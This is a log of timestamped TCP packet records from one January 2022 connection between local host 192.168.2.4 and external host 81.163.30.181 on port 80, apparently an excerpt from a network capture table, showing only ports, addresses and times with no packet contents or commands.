Jan 14, 2022 20:29:57.947308064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947350025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006131887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006192923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006234884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006253004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006278992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006320000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006323099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006361961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006401062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006405115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006442070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006481886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006483078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006536007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006575108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006578922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006616116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006654024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006656885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006697893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006736040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006737947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006777048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006817102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006819963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006856918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006896019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.006896973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006936073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006975889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.006977081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007018089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007061005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007065058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007106066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007144928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007145882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007190943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007231951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007246971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007301092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007343054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007345915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007388115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007425070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007428885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007464886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007504940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007504940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007544041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007582903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007585049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007622957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007662058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007663012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007704020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007740974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007755041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007782936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007822990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007829905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007860899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007900953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007903099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.007939100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007970095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.007988930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008011103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008048058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008060932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008089066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008127928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008136034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008169889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008209944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008218050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008249044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008290052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008299112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008331060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008372068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008374929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008409977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008450031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008455992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008490086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008529902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008537054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008568048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008608103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008610964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008647919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008685112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008691072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008723974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008761883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008769989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008802891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008842945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008846045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008879900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008919001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008924961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.008959055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.008996964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009006977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009036064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009077072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009078026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009115934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009155989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009161949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009195089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009233952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009236097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009272099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009309053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009313107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009347916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009386063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009391069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.009424925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.009468079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068389893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068450928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068490982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068530083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068571091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068579912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068608999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068636894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068648100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068662882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068689108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068727016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068744898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068767071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068805933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068815947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068845987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068886995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068891048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.068923950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068964005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.068967104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069003105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069041014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069053888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069082975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069125891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069143057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069168091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069210052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069242954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069247961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069288015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069303989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069328070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069365978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069377899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069407940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069447041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069453001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069487095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069530010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069540977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069566965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069607019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069613934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069647074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069721937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069726944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069761992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069802046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069804907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069839954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069899082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.069938898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.069979906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070017099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070043087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070056915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070097923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070106030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070138931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070179939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070197105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070224047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070266008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070281029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070306063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070343971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070358038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070384026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070424080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070436001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070461988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070501089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070511103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070539951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070581913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070590019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070624113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070666075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070681095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070705891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070745945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070756912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070785999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070825100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070832014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070863962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070904016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070908070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.070945024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070981979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.070992947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071022034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071063042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071068048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071100950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071140051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071146011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071178913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071219921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071225882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071260929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071299076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071310997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071338892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071378946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071384907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071415901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071455002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071460009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071492910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071535110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071542025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071574926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071613073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071624994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071651936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071691990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071710110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071728945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071770906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071784019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.071810007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071850061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.071856022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130541086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130589008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130625010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130649090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130661011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130683899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130697966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130733967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130759001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130772114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130808115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130810022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130844116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130878925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130883932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130913019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130948067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.130953074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.130981922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131016016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131021023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131050110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131088018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131093025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131124020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131160021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131161928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131195068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131230116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131233931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131266117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131304026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131306887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131337881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131373882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131376982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131411076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131448030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131448984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131483078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131519079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131521940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131552935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131587982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131592989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131622076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131654024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131659985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131688118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131725073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131730080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131757975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131795883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131797075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131831884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131867886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131867886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131908894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131942034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.131953001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.131975889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.132013083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.132015944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.132047892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.132086039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.132088900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.298094988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.313004017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.356143951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.356214046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.356255054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.356281996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.371495008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371551991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371584892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.371607065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371651888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.371659994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371706009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371752024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.371753931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371804953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371848106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.371857882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371910095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371953011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.371954918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372003078 CET	80	49882	81.163.30.181	192.168.2.4
